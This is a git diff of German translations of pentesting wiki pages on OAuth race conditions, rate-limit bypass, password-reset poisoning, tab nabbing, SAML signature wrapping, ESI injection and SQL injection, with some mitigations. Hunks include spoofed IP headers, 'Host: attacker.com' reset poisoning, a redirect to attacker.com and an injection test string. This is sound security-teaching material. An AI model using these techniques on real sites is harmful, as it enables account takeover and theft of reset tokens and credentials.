Laut [**dieser Forschung**](https://portswigger.net/research/smashing-the-state-machine) war Gitlab auf diese Weise anfällig für einen Übernahmeangriff, da es **das E-Mail-Bestätigungstoken einer E-Mail an die andere E-Mail** **senden** könnte.
|
||||
|
||||
**Überprüfen Sie dies** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **um dies auszuprobieren.**
|
||||
|
||||
@ -362,7 +362,7 @@ Bis hierhin ist es nur ein gängiger Login mit google/linkedin/github..., bei de
|
||||
|
||||
#### Race Condition im `authorization_code`
|
||||
|
||||
Das **Problem** tritt auf, wenn Sie **es akzeptieren** und automatisch einen **`authorization_code`** an die bösartige Anwendung senden. Dann **missbraucht diese Anwendung eine Race Condition im OAuth-Dienstanbieter, um mehr als ein AT/RT** (_Authentication Token/Refresh Token_) aus dem **`authorization_code`** für Ihr Konto zu generieren. Grundsätzlich wird ausgenutzt, dass Sie die Anwendung akzeptiert haben, um auf Ihre Daten zuzugreifen, um **mehrere Konten zu erstellen**. Wenn Sie dann **aufhören, der Anwendung den Zugriff auf Ihre Daten zu erlauben, wird ein Paar von AT/RT gelöscht, aber die anderen bleiben gültig**.
|
||||
Das **Problem** tritt auf, wenn Sie **es akzeptieren** und automatisch einen **`authorization_code`** an die bösartige Anwendung senden. Dann **missbraucht diese Anwendung eine Race Condition im OAuth-Dienstanbieter, um mehr als ein AT/RT** (_Authentication Token/Refresh Token_) aus dem **`authorization_code`** für Ihr Konto zu generieren. Grundsätzlich wird sie ausnutzen, dass Sie die Anwendung akzeptiert haben, um auf Ihre Daten zuzugreifen, um **mehrere Konten zu erstellen**. Wenn Sie dann **aufhören, der Anwendung den Zugriff auf Ihre Daten zu erlauben, wird ein Paar von AT/RT gelöscht, aber die anderen bleiben weiterhin gültig**.
|
||||
|
||||
#### Race Condition im `Refresh Token`
|
||||
|
||||
|
||||
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Techniken zum Umgehen von Rate Limits
|
||||
## Techniken zum Umgehen von Ratenbegrenzungen
|
||||
|
||||
### Erforschen ähnlicher Endpunkte
|
||||
|
||||
@ -14,7 +14,7 @@ Das Einfügen von Leerbytes wie `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%2
|
||||
|
||||
### Manipulation des IP-Ursprungs über Header
|
||||
|
||||
Die Modifizierung von Headern zur Änderung des wahrgenommenen IP-Ursprungs kann helfen, IP-basiertes Rate Limiting zu umgehen. Header wie `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, einschließlich der Verwendung mehrerer Instanzen von `X-Forwarded-For`, können angepasst werden, um Anfragen von verschiedenen IPs zu simulieren.
|
||||
Das Ändern von Headern, um den wahrgenommenen IP-Ursprung zu verändern, kann helfen, IP-basierte Ratenbegrenzungen zu umgehen. Header wie `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, einschließlich der Verwendung mehrerer Instanzen von `X-Forwarded-For`, können angepasst werden, um Anfragen von verschiedenen IPs zu simulieren.
|
||||
```bash
|
||||
X-Originating-IP: 127.0.0.1
|
||||
X-Forwarded-For: 127.0.0.1
|
||||
|
||||
@ -7,10 +7,10 @@
|
||||
### Doppelte Registrierung
|
||||
|
||||
- Versuchen Sie, mit einem vorhandenen Benutzernamen zu generieren
|
||||
- Überprüfen Sie die Variation der E-Mail:
|
||||
- Überprüfen Sie verschiedene E-Mails:
|
||||
- Großbuchstaben
|
||||
- \+1@
|
||||
- Fügen Sie einen Punkt in die E-Mail ein
|
||||
- fügen Sie einen Punkt in die E-Mail ein
|
||||
- Sonderzeichen im E-Mail-Namen (%00, %09, %20)
|
||||
- Setzen Sie schwarze Zeichen nach der E-Mail: `test@test.com a`
|
||||
- victim@gmail.com@attacker.com
|
||||
@ -18,7 +18,7 @@
|
||||
|
||||
### Benutzernamen Enumeration
|
||||
|
||||
Überprüfen Sie, ob Sie herausfinden können, ob ein Benutzername bereits in der Anwendung registriert wurde.
|
||||
Überprüfen Sie, ob Sie herausfinden können, ob ein Benutzername bereits in der Anwendung registriert ist.
|
||||
|
||||
### Passwort-Richtlinie
|
||||
|
||||
@ -61,15 +61,15 @@ Versuchen Sie nach der Registrierung, die E-Mail zu ändern, und überprüfen Si
|
||||
3. Ändern Sie das Passwort nicht
|
||||
4. Klicken Sie auf beliebige 3rd Party-Websites (z.B.: Facebook, Twitter)
|
||||
5. Abfangen Sie die Anfrage im Burp Suite Proxy
|
||||
6. Überprüfen Sie, ob der Referer-Header das Passwortzurücksetzungstoken leakt.
|
||||
6. Überprüfen Sie, ob der Referer-Header das Passwortzurücksetzungstoken leckt.
|
||||
|
||||
### Passwortzurücksetzung Vergiftung <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
|
||||
|
||||
1. Fangen Sie die Anfrage zur Passwortzurücksetzung in Burp Suite ab
|
||||
1. Fangen Sie die Passwortzurücksetzungsanfrage in Burp Suite ab
|
||||
2. Fügen Sie die folgenden Header in Burp Suite hinzu oder bearbeiten Sie sie: `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
|
||||
3. Leiten Sie die Anfrage mit dem modifizierten Header weiter\
|
||||
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
|
||||
4. Suchen Sie nach einer URL zur Passwortzurücksetzung basierend auf dem _Host-Header_ wie: `https://attacker.com/reset-password.php?token=TOKEN`
|
||||
4. Suchen Sie nach einer Passwortzurücksetzungs-URL basierend auf dem _Host-Header_ wie: `https://attacker.com/reset-password.php?token=TOKEN`
|
||||
|
||||
### Passwortzurücksetzung über E-Mail-Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
|
||||
```powershell
|
||||
|
||||
@ -4,24 +4,24 @@
|
||||
|
||||
## **Leck des Passwort-Zurücksetzen-Tokens über den Referrer**
|
||||
|
||||
- Der HTTP Referer-Header kann das Passwort-Zurücksetzen-Token leaken, wenn es in der URL enthalten ist. Dies kann geschehen, wenn ein Benutzer auf einen Link einer Drittanbieter-Website klickt, nachdem er eine Passwortzurücksetzung angefordert hat.
|
||||
- Der HTTP-Referer-Header kann das Passwort-Zurücksetzen-Token leaken, wenn es in der URL enthalten ist. Dies kann auftreten, wenn ein Benutzer auf einen Link einer Drittanbieter-Website klickt, nachdem er eine Passwortzurücksetzung angefordert hat.
|
||||
- **Auswirkungen**: Potenzieller Kontoübernahme durch Cross-Site Request Forgery (CSRF)-Angriffe.
|
||||
- **Ausnutzung**: Um zu überprüfen, ob ein Passwort-Zurücksetzen-Token im Referer-Header geleakt wird, **fordern Sie eine Passwortzurücksetzung** an Ihre E-Mail-Adresse an und **klicken Sie auf den bereitgestellten Zurücksetzen-Link**. **Ändern Sie Ihr Passwort** nicht sofort. Stattdessen **navigieren Sie zu einer Drittanbieter-Website** (wie Facebook oder Twitter), während Sie **die Anfragen mit Burp Suite abfangen**. Überprüfen Sie die Anfragen, um zu sehen, ob der **Referer-Header das Passwort-Zurücksetzen-Token enthält**, da dies sensible Informationen an Dritte offenlegen könnte.
|
||||
- **Referenzen**:
|
||||
- [HackerOne Bericht 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Bericht 272379](https://hackerone.com/reports/272379)
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
- [Artikel über das Leck des Passwort-Zurücksetzen-Tokens](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
|
||||
## **Passwort-Zurücksetzen-Vergiftung**
|
||||
|
||||
- Angreifer können den Host-Header während der Passwort-Zurücksetzanforderungen manipulieren, um den Zurücksetzen-Link auf eine bösartige Seite zu verweisen.
|
||||
- **Auswirkungen**: Führt zu potenzieller Kontoübernahme durch das Leaken von Zurücksetzen-Tokens an Angreifer.
|
||||
- **Auswirkungen**: Führt zu potenzieller Kontoübernahme durch das Leaken von Zurücksetzen-Token an Angreifer.
|
||||
- **Minderungsmaßnahmen**:
|
||||
- Validieren Sie den Host-Header gegen eine Whitelist erlaubter Domains.
|
||||
- Verwenden Sie sichere, serverseitige Methoden zur Generierung absoluter URLs.
|
||||
- **Patch**: Verwenden Sie `$_SERVER['SERVER_NAME']`, um Passwort-Zurücksetzen-URLs zu konstruieren, anstatt `$_SERVER['HTTP_HOST']`.
|
||||
- **Referenzen**:
|
||||
- [Acunetix Artikel über Passwort-Zurücksetzen-Vergiftung](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
- [Acunetix-Artikel über Passwort-Zurücksetzen-Vergiftung](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **Passwort-Zurücksetzen durch Manipulation des E-Mail-Parameters**
|
||||
|
||||
@ -63,7 +63,7 @@ POST /resetPassword
|
||||
[...]
|
||||
email="victim@mail.tld",email="attacker@mail.tld"
|
||||
```
|
||||
- Fügen Sie die Angreifer-E-Mail als zweiten Parameter im JSON-Array hinzu.
|
||||
- Fügen Sie die E-Mail des Angreifers als zweiten Parameter im JSON-Array hinzu.
|
||||
```php
|
||||
POST /resetPassword
|
||||
[...]
|
||||
@ -116,14 +116,14 @@ POST /api/changepass
|
||||
|
||||
## **Erratbare UUID**
|
||||
|
||||
- Wenn UUIDs (Version 1) erratbar oder vorhersagbar sind, können Angreifer sie brute-forcen, um gültige Rücksetztokens zu generieren. Überprüfen Sie:
|
||||
- Wenn UUIDs (Version 1) erratbar oder vorhersehbar sind, können Angreifer sie brute-forcen, um gültige Rücksetz-Token zu generieren. Überprüfen Sie:
|
||||
|
||||
{{#ref}}
|
||||
uuid-insecurities.md
|
||||
{{#endref}}
|
||||
|
||||
- **Minderungsmaßnahmen**:
|
||||
- Verwenden Sie GUID Version 4 für Zufälligkeit oder implementieren Sie zusätzliche Sicherheitsmaßnahmen für andere Versionen.
|
||||
- Verwenden Sie GUID-Version 4 für Zufälligkeit oder implementieren Sie zusätzliche Sicherheitsmaßnahmen für andere Versionen.
|
||||
- **Werkzeuge**: Verwenden Sie [guidtool](https://github.com/intruder-io/guidtool) zur Analyse und Generierung von GUIDs.
|
||||
|
||||
## **Antwortmanipulation: Schlechte Antwort durch gute ersetzen**
|
||||
@ -141,16 +141,16 @@ uuid-insecurities.md
|
||||
- **Minderungsmaßnahmen**:
|
||||
- Implementieren Sie strenge Token-Ablaufrichtlinien und validieren Sie das Token-Ablaufdatum serverseitig.
|
||||
|
||||
## **Brute Force Passwort-Zurücksetz-Token**
|
||||
## **Brute-Force-Passwort-Zurücksetz-Token**
|
||||
|
||||
- Versuch, das Rücksetztoken mit Tools wie Burpsuite und IP-Rotator zu brute-forcen, um IP-basierte Ratenlimits zu umgehen.
|
||||
- Versuch, das Rücksetz-Token mit Tools wie Burpsuite und IP-Rotator zu brute-forcen, um IP-basierte Ratenlimits zu umgehen.
|
||||
- **Minderungsmaßnahmen**:
|
||||
- Implementieren Sie robuste Ratenbegrenzungs- und Kontosperrmechanismen.
|
||||
- Überwachen Sie verdächtige Aktivitäten, die auf Brute-Force-Angriffe hindeuten.
|
||||
|
||||
## **Versuchen Sie, Ihr Token zu verwenden**
|
||||
|
||||
- Überprüfen, ob das Rücksetztoken eines Angreifers in Verbindung mit der E-Mail des Opfers verwendet werden kann.
|
||||
- Überprüfen, ob das Rücksetz-Token eines Angreifers in Verbindung mit der E-Mail des Opfers verwendet werden kann.
|
||||
- **Minderungsmaßnahmen**:
|
||||
- Stellen Sie sicher, dass Tokens an die Benutzersitzung oder andere benutzerspezifische Attribute gebunden sind.
|
||||
|
||||
@ -162,9 +162,9 @@ uuid-insecurities.md
|
||||
|
||||
## **Sitzungsinvalidierung bei Abmeldung/Passwortzurücksetzung**
|
||||
|
||||
- Rücksetztokens sollten eine Ablaufzeit haben, nach der sie ungültig werden.
|
||||
- Rücksetz-Token sollten eine Ablaufzeit haben, nach der sie ungültig werden.
|
||||
- **Minderungsmaßnahmen**:
|
||||
- Setzen Sie eine angemessene Ablaufzeit für Rücksetztokens fest und setzen Sie diese serverseitig strikt durch.
|
||||
- Setzen Sie eine angemessene Ablaufzeit für Rücksetz-Token fest und setzen Sie diese serverseitig strikt durch.
|
||||
|
||||
## Referenzen
|
||||
|
||||
|
||||
@ -7,7 +7,7 @@ Wenn die Seite **`rel="opener"`** nicht hat, aber `target="_blank"` enthält und
|
||||
|
||||
Eine gängige Methode, dieses Verhalten auszunutzen, wäre, die **Position der ursprünglichen Webseite** über `window.opener.location = https://attacker.com/victim.html` auf eine vom Angreifer kontrollierte Webseite zu ändern, die **wie die ursprüngliche aussieht**, sodass sie das **Anmeldeformular** der ursprünglichen Website **imitieren** und den Benutzer nach Anmeldeinformationen fragen kann.
|
||||
|
||||
Beachten Sie jedoch, dass der **Angreifer nun das Fensterobjekt der ursprünglichen Website kontrollieren kann** und es auf andere Weise ausnutzen kann, um **versteckte Angriffe** durchzuführen (vielleicht JavaScript-Ereignisse zu modifizieren, um Informationen an einen von ihm kontrollierten Server zu exfiltrieren?)
|
||||
Beachten Sie jedoch, dass der **Angreifer nun das Fensterobjekt der ursprünglichen Website kontrollieren kann** und es auf andere Weise ausnutzen kann, um **heimlichere Angriffe** durchzuführen (vielleicht JavaScript-Ereignisse zu modifizieren, um Informationen an einen von ihm kontrollierten Server zu exfiltrieren?)
|
||||
|
||||
# Übersicht
|
||||
|
||||
@ -58,7 +58,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
|
||||
```
|
||||
## Zugängliche Eigenschaften <a href="#accessible-properties" id="accessible-properties"></a>
|
||||
|
||||
In dem Szenario, in dem ein **cross-origin** Zugriff erfolgt (Zugriff über verschiedene Domains), sind die Eigenschaften der **window** JavaScript-Klasseninstanz, auf die durch die **opener** JavaScript-Objektreferenz verwiesen wird, die von einer böswilligen Seite zugänglich sind, auf die folgenden beschränkt:
|
||||
In dem Szenario, in dem ein **cross-origin** Zugriff erfolgt (Zugriff über verschiedene Domains), sind die Eigenschaften der **window** JavaScript-Klasseninstanz, auf die durch die **opener** JavaScript-Objektreferenz zugegriffen wird, die von einer böswilligen Seite zugänglich sind, auf Folgendes beschränkt:
|
||||
|
||||
- **`opener.closed`**: Diese Eigenschaft wird verwendet, um festzustellen, ob ein Fenster geschlossen wurde, und gibt einen booleschen Wert zurück.
|
||||
- **`opener.frames`**: Diese Eigenschaft bietet Zugriff auf alle iframe-Elemente im aktuellen Fenster.
|
||||
|
||||
@ -38,7 +38,7 @@ Das Ausführen des Programms gegen REXML 3.2.4 oder früher würde stattdessen d
|
||||
First child in original doc: Y
|
||||
First child after round-trip: Z
|
||||
```
|
||||
So sah das REXML-Dokument aus dem obigen Programm aus:
|
||||
So sah das REXML das ursprüngliche XML-Dokument aus dem obigen Programm:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -53,7 +53,7 @@ Für weitere Informationen über die Schwachstelle und wie man sie ausnutzen kan
|
||||
|
||||
## XML Signature Wrapping Angriffe
|
||||
|
||||
Bei **XML Signature Wrapping Angriffen (XSW)** nutzen Angreifer eine Schwachstelle aus, die auftritt, wenn XML-Dokumente in zwei verschiedenen Phasen verarbeitet werden: **Signaturvalidierung** und **Funktionsaufruf**. Diese Angriffe beinhalten die Veränderung der XML-Dokumentstruktur. Konkret **injiziert der Angreifer gefälschte Elemente**, die die Gültigkeit der XML-Signatur nicht beeinträchtigen. Diese Manipulation zielt darauf ab, eine Diskrepanz zwischen den von der **Anwendungslogik** analysierten Elementen und den von dem **Signaturprüfmodul** überprüften Elementen zu schaffen. Infolgedessen bleibt die XML-Signatur technisch gültig und besteht die Überprüfung, während die Anwendungslogik die **betrügerischen Elemente** verarbeitet. Folglich umgeht der Angreifer effektiv den **Integritätsschutz** und die **Ursprungsauthentifizierung** der XML-Signatur, was die **Einspeisung beliebiger Inhalte** ohne Erkennung ermöglicht.
|
||||
Bei **XML Signature Wrapping Angriffen (XSW)** nutzen Angreifer eine Schwachstelle aus, die auftritt, wenn XML-Dokumente in zwei verschiedenen Phasen verarbeitet werden: **Signaturvalidierung** und **Funktionsaufruf**. Diese Angriffe beinhalten die Veränderung der XML-Dokumentstruktur. Konkret **injiziert der Angreifer gefälschte Elemente**, die die Gültigkeit der XML-Signatur nicht beeinträchtigen. Diese Manipulation zielt darauf ab, eine Diskrepanz zwischen den von der **Anwendungslogik** analysierten Elementen und den von dem **Signaturprüfmodul** überprüften Elementen zu schaffen. Infolgedessen bleibt die XML-Signatur technisch gültig und besteht die Überprüfung, während die Anwendungslogik die **betrügerischen Elemente** verarbeitet. Folglich umgeht der Angreifer effektiv den **Integritätsschutz** und die **Ursprungsauthentifizierung** der XML-Signatur, was die **Einschleusung beliebiger Inhalte** ohne Erkennung ermöglicht.
|
||||
|
||||
Die folgenden Angriffe basieren auf [**diesem Blogbeitrag**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **und** [**diesem Papier**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Überprüfen Sie diese für weitere Details.
|
||||
|
||||
@ -73,7 +73,7 @@ Die folgenden Angriffe basieren auf [**diesem Blogbeitrag**](https://epi052.gitl
|
||||
|
||||
### XSW #3
|
||||
|
||||
- **Strategie**: Eine böse Assertion wird auf derselben Hierarchieebene wie die ursprüngliche Assertion erstellt.
|
||||
- **Strategie**: Eine böse Assertion wird auf derselben hierarchischen Ebene wie die ursprüngliche Assertion erstellt.
|
||||
- **Implikation**: Zielt darauf ab, die Geschäftslogik zu verwirren, damit sie die bösartigen Daten verwendet.
|
||||
|
||||
.png>)
|
||||
@ -94,15 +94,15 @@ Die folgenden Angriffe basieren auf [**diesem Blogbeitrag**](https://epi052.gitl
|
||||
|
||||
### XSW #6
|
||||
|
||||
- **Strategie**: Ähnliche Standorteinfügung wie XSW #4 und #5, aber mit einer Wendung.
|
||||
- **Implikation**: Die kopierte Assertion umschließt die Signatur, die dann die ursprüngliche Assertion umschließt, wodurch eine verschachtelte täuschende Struktur entsteht.
|
||||
- **Strategie**: Ähnliche Standortinsertion wie XSW #4 und #5, aber mit einer Wendung.
|
||||
- **Implikation**: Die kopierte Assertion umschließt die Signatur, die dann die ursprüngliche Assertion umschließt und eine verschachtelte täuschende Struktur schafft.
|
||||
|
||||
.png>)
|
||||
|
||||
### XSW #7
|
||||
|
||||
- **Strategie**: Ein Extensions-Element wird eingefügt, wobei die kopierte Assertion ein Kind ist.
|
||||
- **Implikation**: Dies nutzt das weniger restriktive Schema des Extensions-Elements aus, um Schema-Validierungsmaßnahmen zu umgehen, insbesondere in Bibliotheken wie OpenSAML.
|
||||
- **Implikation**: Dies nutzt das weniger restriktive Schema des Extensions-Elements aus, um die Schema-Validierungsmaßnahmen zu umgehen, insbesondere in Bibliotheken wie OpenSAML.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -187,7 +187,7 @@ Sie können auch die Burp-Erweiterung [**SAML Raider**](https://portswigger.net/
|
||||
|
||||
## XML Signature Exclusion <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
|
||||
|
||||
Die **XML Signature Exclusion** beobachtet das Verhalten von SAML-Implementierungen, wenn das Signature-Element nicht vorhanden ist. Wenn dieses Element fehlt, **kann die Signaturvalidierung nicht erfolgen**, was es anfällig macht. Es ist möglich, dies zu testen, indem die Inhalte geändert werden, die normalerweise von der Signatur überprüft werden.
|
||||
Die **XML Signature Exclusion** beobachtet das Verhalten von SAML-Implementierungen, wenn das Signature-Element nicht vorhanden ist. Wenn dieses Element fehlt, **kann die Signaturvalidierung möglicherweise nicht erfolgen**, was es anfällig macht. Es ist möglich, dies zu testen, indem die Inhalte, die normalerweise von der Signatur überprüft werden, verändert werden.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -217,7 +217,7 @@ Die folgenden Schritte skizzieren den Prozess unter Verwendung der [SAML Raider]
|
||||
|
||||
## Token Recipient Confusion / Service Provider Target Confusion <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
||||
|
||||
Token Recipient Confusion und Service Provider Target Confusion beinhalten die Überprüfung, ob der **Service Provider den beabsichtigten Empfänger einer Antwort korrekt validiert**. Im Wesentlichen sollte ein Service Provider eine Authentifizierungsantwort ablehnen, wenn sie für einen anderen Anbieter bestimmt war. Das entscheidende Element hier ist das **Recipient**-Feld, das sich im **SubjectConfirmationData**-Element einer SAML-Antwort befindet. Dieses Feld gibt eine URL an, die angibt, wo die Assertion gesendet werden muss. Wenn der tatsächliche Empfänger nicht mit dem beabsichtigten Service Provider übereinstimmt, sollte die Assertion als ungültig angesehen werden.
|
||||
Token Recipient Confusion und Service Provider Target Confusion beinhalten die Überprüfung, ob der **Service Provider den beabsichtigten Empfänger einer Antwort korrekt validiert**. Im Wesentlichen sollte ein Service Provider eine Authentifizierungsantwort ablehnen, wenn sie für einen anderen Anbieter bestimmt war. Das entscheidende Element hier ist das **Recipient**-Feld, das sich im **SubjectConfirmationData**-Element einer SAML-Antwort befindet. Dieses Feld gibt eine URL an, die angibt, wohin die Assertion gesendet werden muss. Wenn der tatsächliche Empfänger nicht mit dem beabsichtigten Service Provider übereinstimmt, sollte die Assertion als ungültig angesehen werden.
|
||||
|
||||
#### **How It Works**
|
||||
|
||||
@ -248,7 +248,7 @@ return f"Failed to redirect SAML Response: {e}"
|
||||
|
||||
Die ursprüngliche Forschung kann über [diesen Link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/) aufgerufen werden.
|
||||
|
||||
Während des Verzeichniss-Brute-Forcings wurde eine Logout-Seite entdeckt unter:
|
||||
Während des Prozesses des Directory Brute Forcings wurde eine Logout-Seite entdeckt unter:
|
||||
```
|
||||
https://carbon-prototype.uberinternal.com:443/oidauth/logout
|
||||
```
|
||||
|
||||
@ -49,7 +49,7 @@ Wesentliche Elemente dieser Anfrage sind:
|
||||
- **ProtocolBinding**: Definiert die Übertragungsmethode von SAML-Protokollnachrichten.
|
||||
- **saml:Issuer**: Identifiziert die Entität, die die Anfrage initiiert hat.
|
||||
|
||||
Nach der Generierung der SAML-Anfrage antwortet der SP mit einem **302 Redirect**, der den Browser mit der in den HTTP-Antwort-**Location**-Header kodierten SAML-Anfrage zum IdP leitet. Der **RelayState**-Parameter hält die Statusinformationen während der Transaktion aufrecht und stellt sicher, dass der SP die ursprüngliche Ressourcenanforderung beim Empfang der SAML-Antwort erkennt. Der **SAMLRequest**-Parameter ist eine komprimierte und kodierte Version des rohen XML-Ausschnitts, die Deflate-Kompression und Base64-Kodierung verwendet.
|
||||
Nach der Generierung der SAML-Anfrage antwortet der SP mit einem **302 Redirect**, der den Browser mit der in den HTTP-Antwort-Header **Location** kodierten SAML-Anfrage zum IdP leitet. Der **RelayState**-Parameter hält die Statusinformationen während der Transaktion aufrecht und stellt sicher, dass der SP die ursprüngliche Ressourcenanforderung beim Empfang der SAML-Antwort erkennt. Der **SAMLRequest**-Parameter ist eine komprimierte und kodierte Version des rohen XML-Ausschnitts, die Deflate-Kompression und Base64-Kodierung verwendet.
|
||||
|
||||
# SAML-Antwortbeispiel
|
||||
|
||||
@ -154,7 +154,7 @@ Beispiel:
|
||||
|
||||
Zusammenfassend bieten XML-Signaturen flexible Möglichkeiten zur Sicherung von XML-Dokumenten, wobei jeder Typ unterschiedliche strukturelle und sicherheitstechnische Bedürfnisse erfüllt.
|
||||
|
||||
## Referenzen
|
||||
## References
|
||||
|
||||
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
|
||||
|
||||
|
||||
@ -15,7 +15,7 @@ Und wenn die Seite bereitgestellt wird, wird dieses Fragment ausgewertet und dur
|
||||
|
||||
`Dienstag, 15-Jan-2013 19:28:54 EST`
|
||||
|
||||
Die Entscheidung, wann SSI verwendet werden soll und wann die gesamte Seite von einem Programm generiert werden soll, hängt normalerweise davon ab, wie viel der Seite statisch ist und wie viel jedes Mal neu berechnet werden muss, wenn die Seite bereitgestellt wird. SSI ist eine großartige Möglichkeit, kleine Informationsstücke hinzuzufügen, wie die aktuelle Zeit - wie oben gezeigt. Aber wenn der Großteil Ihrer Seite zum Zeitpunkt der Bereitstellung generiert wird, müssen Sie nach einer anderen Lösung suchen.
|
||||
Die Entscheidung, wann SSI verwendet werden soll und wann Ihre Seite vollständig von einem Programm generiert werden soll, hängt normalerweise davon ab, wie viel der Seite statisch ist und wie viel jedes Mal neu berechnet werden muss, wenn die Seite bereitgestellt wird. SSI ist eine großartige Möglichkeit, kleine Informationsstücke hinzuzufügen, wie die aktuelle Zeit - wie oben gezeigt. Aber wenn der Großteil Ihrer Seite zum Zeitpunkt der Bereitstellung generiert wird, müssen Sie nach einer anderen Lösung suchen.
|
||||
|
||||
Sie können das Vorhandensein von SSI ableiten, wenn die Webanwendung Dateien mit der Erweiterungs**`.shtml`, `.shtm` oder `.stm`** verwendet, aber das ist nicht der einzige Fall.
|
||||
|
||||
@ -56,12 +56,12 @@ Ein typischer SSI-Ausdruck hat das folgende Format:
|
||||
```
|
||||
## Edge Side Inclusion
|
||||
|
||||
Es gibt ein Problem mit **Caching-Informationen oder dynamischen Anwendungen**, da der Inhalt möglicherweise für das nächste Abrufen **variierte**. Dafür wird **ESI** verwendet, um mit ESI-Tags den **dynamischen Inhalt anzugeben, der generiert werden muss**, bevor die Cache-Version gesendet wird.\
|
||||
Es gibt ein Problem mit **Caching-Informationen oder dynamischen Anwendungen**, da ein Teil des Inhalts für das nächste Abrufen des Inhalts **variieren** kann. Dafür wird **ESI** verwendet, um mit ESI-Tags den **dynamischen Inhalt anzugeben, der generiert werden muss**, bevor die Cache-Version gesendet wird.\
|
||||
Wenn ein **Angreifer** in der Lage ist, **ein ESI-Tag** in den Cache-Inhalt einzufügen, könnte er in der Lage sein, **willkürlichen Inhalt** in das Dokument einzufügen, bevor es an die Benutzer gesendet wird.
|
||||
|
||||
### ESI Detection
|
||||
|
||||
Die folgende **Header** in einer Antwort vom Server bedeutet, dass der Server ESI verwendet:
|
||||
Der folgende **Header** in einer Antwort vom Server bedeutet, dass der Server ESI verwendet:
|
||||
```
|
||||
Surrogate-Control: content="ESI/1.0"
|
||||
```
|
||||
@ -205,7 +205,7 @@ xslt-server-side-injection-extensible-stylesheet-language-transformations.md
|
||||
- [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/)
|
||||
- [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91)
|
||||
|
||||
## Brute-Force-Erkennungs-Liste
|
||||
## Brute-Force-Erkennungsliste
|
||||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
|
||||
|
||||
|
||||
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Was ist SQL-Injection?
|
||||
|
||||
Eine **SQL-Injection** ist eine Sicherheitsanfälligkeit, die es Angreifern ermöglicht, **Datenbankabfragen** einer Anwendung zu **beeinflussen**. Diese Schwachstelle kann Angreifern ermöglichen, **Daten zu sehen**, **zu ändern** oder **zu löschen**, auf die sie keinen Zugriff haben sollten, einschließlich Informationen anderer Benutzer oder aller Daten, auf die die Anwendung zugreifen kann. Solche Aktionen können zu dauerhaften Änderungen an der Funktionalität oder dem Inhalt der Anwendung führen oder sogar zu einer Kompromittierung des Servers oder einem Denial of Service.
|
||||
@ -54,7 +53,7 @@ HQL does not support comments
|
||||
```
|
||||
### Bestätigen mit logischen Operationen
|
||||
|
||||
Eine zuverlässige Methode zur Bestätigung einer SQL-Injection-Schwachstelle besteht darin, eine **logische Operation** auszuführen und die erwarteten Ergebnisse zu beobachten. Zum Beispiel deutet ein GET-Parameter wie `?username=Peter`, der identische Inhalte liefert, wenn er auf `?username=Peter' or '1'='1` geändert wird, auf eine SQL-Injection-Schwachstelle hin.
|
||||
Eine zuverlässige Methode zur Bestätigung einer SQL-Injection-Schwachstelle besteht darin, eine **logische Operation** auszuführen und die erwarteten Ergebnisse zu beobachten. Zum Beispiel zeigt ein GET-Parameter wie `?username=Peter`, der identische Inhalte liefert, wenn er auf `?username=Peter' or '1'='1` geändert wird, eine SQL-Injection-Schwachstelle an.
|
||||
|
||||
Ebenso dient die Anwendung von **mathematischen Operationen** als effektive Bestätigungstechnik. Wenn beispielsweise der Zugriff auf `?id=1` und `?id=2-1` dasselbe Ergebnis liefert, ist dies ein Hinweis auf SQL-Injection.
|
||||
|
||||
@ -71,8 +70,8 @@ Diese Wortliste wurde erstellt, um **SQL-Injektionen** auf die vorgeschlagene We
|
||||
|
||||
### Bestätigung mit Timing
|
||||
|
||||
In einigen Fällen **werden Sie keine Änderung** auf der Seite bemerken, die Sie testen. Daher ist eine gute Möglichkeit, **blinde SQL-Injektionen** zu entdecken, die DB dazu zu bringen, Aktionen auszuführen, die einen **Einfluss auf die Zeit** haben, die die Seite zum Laden benötigt.\
|
||||
Daher werden wir in der SQL-Abfrage eine Operation concatenieren, die viel Zeit in Anspruch nehmen wird:
|
||||
